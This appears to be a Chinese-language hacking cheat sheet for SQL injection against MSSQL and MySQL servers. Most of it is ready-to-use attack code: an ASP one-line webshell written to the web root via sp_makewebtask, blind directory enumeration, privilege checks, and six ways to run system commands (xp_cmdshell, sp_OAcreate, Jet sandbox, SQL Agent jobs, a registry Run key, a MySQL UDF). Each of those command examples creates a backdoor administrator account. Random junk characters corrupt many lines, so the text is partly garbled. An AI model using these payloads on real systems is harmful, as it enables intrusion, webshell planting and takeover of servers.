MSSQL语句导出一句话木马
q! q& I! o' p" B( J& V0 j+ H首先确定网站的WEB路径
! X0 m; ?2 U. Y; ~2 i: `' D" o8 f;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马1 F, l1 c- @% Y% f1 X
" a/ w8 i, k- a2 S! b/ F) e3 [;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
5 s( x' ]9 x. ]7 S# ^2 N//将一句话木马插入表中. M/ S! |8 V4 T; O8 ~
; ~9 I# P- e9 Z/ Q* Y* l2 l6 y;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
- B0 g( ?, T) ]5 O) d$ R1 Z; c//导出一个ASP文件
4 b3 ~# ?; B1 Y: e( x# N& ~* J5 L' \4 a( ]( u* u7 [
- S/ x& p' ?- H- b
关于MSSQL列目录5 N. {4 {$ C! {& m R
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表! p) p1 Q6 B% ]/ U7 }" Y2 k6 {
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表) j3 n( l( D4 d& D7 c" o t" e8 ~
6 X- x! L) v" K B, l1 Wand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录( e5 O- z# F' w; o. X! ~6 E
" ]! C: k5 b c$ I, i- b b, V+ MAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
. S8 D% B# ?1 q- z( ~3 R7 Y6 n# O: c. ?
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符. j% [; q! L# w
7 m- W2 s# ~0 |7 V
( @2 A, w8 n0 @- K0 r/ e* O- e
数据库版本和权限查看
; z( K2 A; q! e& a8 sand 1=(select @@VERSION) //查看详细的数据库信息.2 K9 c- q& I4 A/ S h
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA {7 V9 f( o: j, T8 {+ Q+ Z( A# p
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER! Z& j( p$ Q* ^+ `) w1 h
# J: \4 _8 k7 i; i) [
6 _+ Y- F$ t4 Y2 I. }1.利用xp_cmdshell执行命令( h9 i7 J+ R2 r1 {$ [$ y5 ^$ q
exec master..xp_cmdshell 'net user rfire 123456 /add'
7 } L0 H S" H. h' N& j& ~3 c( Qexec master..xp_cmdshell 'net localgroup administrators rfire /add'1 C( q4 o3 `7 z$ E" {) G/ e: S. r& T
% C1 c8 {/ y3 H$ B3 `, I
恢复xp_cmdshell存储过程
- a: b% F4 F0 z" cExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'# x9 l0 B$ E S8 v7 ^' |
4 w' N. ]& Q% U- a+ d4 v- O
6 [* z! Z7 |4 ]8 d7 i
2.利用SP_OAcreate和SP_OAMETHOD执行命令5 \# e( L$ p: a; s
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
* {) Z1 X5 i: V# y9 S V( r1 [DECLARE @shell INT //建立一个@shell实体0 v: G( q+ l* v, D6 t' R$ e
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例 r+ g) r& D- ?$ d* ^9 y5 ]; y/ P+ r/ D
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例 u; V7 @4 ]5 U8 g+ v0 r4 [
) T$ Q3 e0 v& C1 g: b
& O. Y" @* \5 {. }" d* r3.利用沙盒模式$ W2 V0 ^+ N% t* w
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
" d7 Q0 P$ ~* D, |& @9 }0 r) |开启沙盒模式:, H2 \9 L: a+ O1 I! m9 X
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
" \3 Y' x' U5 t4 G
2 U1 q. [% k; \5 x4 u执行命令: ^( `- Q5 z' o
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
7 T+ Y' s1 p3 P7 Y* h6 K$ g- i
$ j# Q( V: L# X) C; [: c# F4 F$ p- n
4.利用SQL代理执行命令/ S" R3 m1 g. r9 \
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务: Y! Y9 k, E9 ? x! r
+ ?* x0 j. y3 ?. ?执行命令:/ t! n; C! l# \
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
( L" y3 u8 c2 j; b0 Yexec sp_add_job 'x'8 l6 C% s2 z$ d" D
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
) N2 }% T. _/ K6 i+ jexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
- V9 W9 `0 }8 X, H1 r# |& m6 X e+ [9 p& ]9 Y
5 H4 u+ r$ c% q9 O2 i5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)8 w' Y: h7 S4 q: s2 N
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'2 Q5 a( i# R' i! ~# G1 S/ {' X( {
/ X0 {) O! q% x
: `1 S8 i. z; d9 n% s8 P' i$ ~5 d6.MYSQL的命令执行
: G6 d/ R1 f6 M! I6 y% LMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
5 J- _! l- |# J首先要在su.php下导出c:\windows\udf.dll
8 K+ C2 c6 w: o7 T) Y; E导出后执行创建自定义函数命令:# B6 C: r) F" f' m7 M/ B% }+ Q0 F
Create Function cmdshell returns string soname 'udf.dll'7 r* F$ W0 b, P7 {8 \- P: O6 t
执行命令7 }# V( E' L/ _9 p% k c
select cmdshell('net user rfire 123456 /add')3 V/ m' m$ D- b+ | \8 P
执行后删除函数 drop function cmdshell% @* ?' F$ T3 q) S4 f3 P! n7 a
|